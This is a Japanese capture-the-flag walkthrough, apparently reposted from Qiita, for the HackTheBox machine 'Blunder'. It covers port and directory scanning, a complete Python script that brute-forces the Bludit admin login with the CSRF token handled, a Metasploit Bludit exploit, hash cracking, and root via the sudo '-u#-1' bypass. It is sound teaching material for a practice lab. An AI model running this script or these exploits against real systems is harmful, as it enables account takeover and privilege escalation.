Blunder Walk Through ~HackTheBox~
HackTheBox Blunderを攻略していきます。
答え合わせ程度に使ってください。
ポートスキャン
いつものごとく、まずはnmapを使ってポートスキャン。
nmap 10.10.10.191 -Pn -A -T4
ポート80しか開いていない。
とりあえずwebページにアクセスしてみます。
User Flag
特に何もなさそう。
このページのほかに、アクセスできるものがないか探します。
こういう時に便利なのがgobuster。
Wordリストを使って、ターゲットのアドレスに対していろんなuriで問い合わせしてコンテンツ探しをしてくれます。
gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirb/big.txt -x txt,php 2>/dev/null
-x : 検索対象の拡張子を指定できます。ここでは txtとphpにしました。
2>/dev/null : 無駄な出力を抑制します。
かなり時間かかりましたが、面白そうなコンテンツが見つかりました。
見たところでは、/adminとtodo.txtが名前としては気になります。
アクセスしてみます。
todo.txtはDevOPsのメモでしょうか。Turn off FTP - DONEはnmapでの調査結果と一致しています。
fergusという人物にimageが必要だということを知らせる必要があるようです。システムの関係者と思われます。
/adminにアクセスしてみました。loginフォームです。先ほどのfergusという名前はusernameとして利用可能かもしれません。このloginフォームを突破してみましょう。
アプローチはcewlによる関係Wordによる単語リスト作成と、それによる総あたりによるlogin試行という流れにしました。
まずはcewlでこのwebで使われている単語を集めて単語リストを作ります。
cewl -w blunderwords.txt -d 15 -m 7 http://10.10.10.191/
-w : 出力ファイル名
-d : 単語抽出のdepth
-m : 最小文字数
次に総当たり攻撃をするためのスクリプトを作成します。
まずは、login試行時にどのようなリクエストがなされているのか、burpを用いて、パケットをinterceptして確認します。
リクエストに必要な情報はすべてわかりました。
これを基に以下のようなスクリプトを作成します。(GitHubにもアップロードしてあるので作るの面倒な人は使ってください。https://github.com/bananamilksec/HackTheBox/blob/main/Blunder/blunder-brute.py)
#Brute Force Attack Script for Blunder of HTB
################ Usage #################
# python ./blunder-brute.py -t <target host url> -u <username> -w <wordlist directory>
# Example:
# python ./blunder-brute.py -t http://10.10.10.191/admin/login -u fergus -w /usr/share/wordlists/wordlist.txt
import argparse
import re
import requests
import sys
def open_resource(file_path):
f = open(file_path, 'r')
datalist = f.readlines()
print('success get wordlist.')
f.close()
return datalist
parse = argparse.ArgumentParser()
parse.add_argument('-t','--target', help='target host url')
parse.add_argument('-u','--user', help='username')
parse.add_argument('-w','--wordlist', help='wordlist file path')
args = parse.parse_args()
target = args.target
user = args.user
passwordlist = open_resource(args.wordlist)
print("Start bruteforce attack to target url")
trynum = 0
for password in passwordlist:
trynum += 1
password = password.replace("\n","")
session = requests.Session()
login_page = session.get(target)
# parse csrf token
locate = login_page.text.find('name="tokenCSRF" value="')
csrf_token = login_page.text[locate+len('name="tokenCSRF" value="'):locate+len('name="tokenCSRF" value="')+40]
print('[*] Trying : {0} (Sum : {1}try)'.format(password,trynum))
print('[*] Processing {}%'.format(int((trynum/len(passwordlist))*100)))
headers = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Referer' : target,
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding' : 'gzip, deflate',
'Content-Type' : 'application/x-www-form-urlencoded'
}
data = {
'tokenCSRF' : csrf_token,
'username' : user,
'password' : password,
'save' : ''
}
login_result = session.post(target,headers=headers,data=data,allow_redirects=False)
if login_result.text.find('>Remember me</label>')==-1:
print('SUCCESS!! Password Found!')
print('username : {}'.format(user))
print('password : {}'.format(password))
break
実行します。
python3 ./<scriptname>.py -t http://10.10.10.191/admin/login -u fergus -w <your word file path>
パスワードを発見しました。パスワードはRolandDeschain。
早速log inしてみます。
ログインできました。
Bluditが使われているようです。exploit-dbを使って脆弱性を調べてみましょう。
metasploitを使用したexploitコードがあるようです。metasploit側でもじゅh-るを検索してみます。
msfconsole
search bludit
set BLUDITPASS RolandDeschain
set BLUDITUSER fergus
set RHOST 10.10.10.191
set RPORT 80
exploit
meterpreterが確立できました。shellに変えて、さらにpythonを使ってもう少し使いやすいリバースシェルにしましょう。
shell
python -c 'import pty; pty.spawn("/bin/bash")'
それではuser flagを獲得しに行きましょう。
権限足りなかったみたいです。権限昇格に使えそうなものを探します。user.phpというファイルを見つけました。有用そうなので中身を見てみます。
ハッシュ化されたパスを発見しました。adminのものです。
ハッシュ値をオンラインクラッカーでクラックします。crackstationを今回は使います。
見つかりました。パスワードはPassword120。
これでuserflagを獲得できます。
su hugo
Password120
Root Flag
root.txtを見ようとするも権限がありません。
sudoのバグを使った権限昇格を行います。
sudo -u#-1 /bin/bash
sudoはユーザのIDの存在確認を行わないません。-u#-1を指定したとき-u#0(rootのID)とみなされ、rootとして/bin/bashが実行されます。
権限昇格ができました。
root flagを獲得しましょう。
無事獲得できました。
お疲れさまでした。
Author And Source
この問題について(Blunder Walk Through ~HackTheBox~), 我々は、より多くの情報をここで見つけました https://qiita.com/bananamilksec/items/24addc34c9ee3c54b386著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .